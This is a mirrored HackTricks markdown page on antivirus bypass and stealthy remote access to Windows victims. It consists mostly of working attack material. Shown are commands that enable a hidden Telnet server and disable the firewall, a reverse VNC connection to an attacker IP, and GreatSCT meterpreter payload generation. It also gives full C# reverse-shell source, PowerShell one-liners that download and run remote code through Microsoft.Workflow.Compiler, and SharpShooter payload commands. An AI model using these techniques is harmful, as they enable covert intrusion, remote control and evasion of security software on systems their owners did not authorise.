mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
284 lines
11 KiB
Markdown
284 lines
11 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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# AV Bypass
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## **Telnet Server**
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Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing:
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```
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pkgmgr /iu:"TelnetServer" /quiet
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```
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Make it **start** when the system is started and **run** it now:
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```
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sc config TlntSVR start= auto obj= localsystem
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```
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**Change telnet port** (stealth) and disable firewall:
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```
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tlntadmn config port=80
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netsh advfirewall set allprofiles state off
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```
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## UltraVNC
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Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
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**ON THE HOST**: Execute _**winvnc.exe**_ and configure the server:
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* Enable the option _Disable TrayIcon_
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* Set a password in _VNC Password_
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* Set a password in _View-Only Password_
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Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim**
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### **Reverse connection**
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The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**.
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Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
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**WARNING:** To maintain stealth you must not do a few things
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- Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc`
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- Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open
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- Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png)
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## GreatSCT
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Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
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```
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git clone https://github.com/GreatSCT/GreatSCT.git
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cd GreatSCT/setup/
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./setup.sh
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cd ..
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./GreatSCT.py
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```
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Inside GreatSCT:
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```
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use 1
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list #Listing available payloads
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use 9 #rev_tcp.py
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set lhost 10.10.14.0
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sel lport 4444
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generate #payload is the default name
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#This will generate a meterpreter xml and a rcc file for msfconsole
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```
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Now **start the lister** with `msfconsole -r file.rc` and **execute** the **xml payload** with:
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```
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
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```
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**Current defender will terminate the process very fast.**
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## Compiling our own reverse shell
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https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
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#### First C# Revershell
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Compile it with:
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```
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c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
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```
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Use it with:
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```
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back.exe <ATTACKER_IP> <PORT>
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```
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```
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using System;
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using System.Text;
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using System.IO;
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using System.Diagnostics;
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using System.ComponentModel;
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using System.Linq;
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using System.Net;
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using System.Net.Sockets;
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namespace ConnectBack
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{
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public class Program
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{
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static StreamWriter streamWriter;
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public static void Main(string[] args)
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{
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using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
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{
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using(Stream stream = client.GetStream())
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{
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using(StreamReader rdr = new StreamReader(stream))
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{
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streamWriter = new StreamWriter(stream);
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StringBuilder strInput = new StringBuilder();
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Process p = new Process();
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p.StartInfo.FileName = "cmd.exe";
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p.StartInfo.CreateNoWindow = true;
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p.StartInfo.UseShellExecute = false;
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p.StartInfo.RedirectStandardOutput = true;
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p.StartInfo.RedirectStandardInput = true;
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p.StartInfo.RedirectStandardError = true;
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p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
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p.Start();
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p.BeginOutputReadLine();
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while(true)
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{
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strInput.Append(rdr.ReadLine());
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//strInput.Append("\n");
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p.StandardInput.WriteLine(strInput);
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strInput.Remove(0, strInput.Length);
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}
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}
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}
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}
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}
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private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
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{
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StringBuilder strOutput = new StringBuilder();
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if (!String.IsNullOrEmpty(outLine.Data))
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{
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try
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{
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strOutput.Append(outLine.Data);
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streamWriter.WriteLine(strOutput);
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streamWriter.Flush();
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}
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catch (Exception err) { }
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}
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}
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}
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}
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```
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[https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
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## C# using compiler
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```
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
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```
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[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
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[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
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Automatic download and execution:
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```
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64bit:
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powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
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32bit:
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powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
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```
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{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
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C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
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## C++
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```
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sudo apt-get install mingw-w64
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i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
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```
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[https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
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Merlin, Empire, Puppy, SalsaTools https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
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[https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
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https://github.com/l0ss/Grouper2
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{% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %}
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{% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}
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## Other tools
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```bash
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# Veil Framework:
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https://github.com/Veil-Framework/Veil
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# Shellter
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https://www.shellterproject.com/download/
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# Sharpshooter
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# https://github.com/mdsecactivebreach/SharpShooter
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# Javascript Payload Stageless:
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SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
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# Stageless HTA Payload:
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SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
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# Staged VBS:
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SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
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# Donut:
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https://github.com/TheWover/donut
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# Vulcan
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https://github.com/praetorian-code/vulcan
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```
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## More
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{% embed url="https://github.com/EgeBalci/sgn" %}
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{% embed url="https://github.com/persianhydra/Xeexe-TopAntivirusEvasion" %}
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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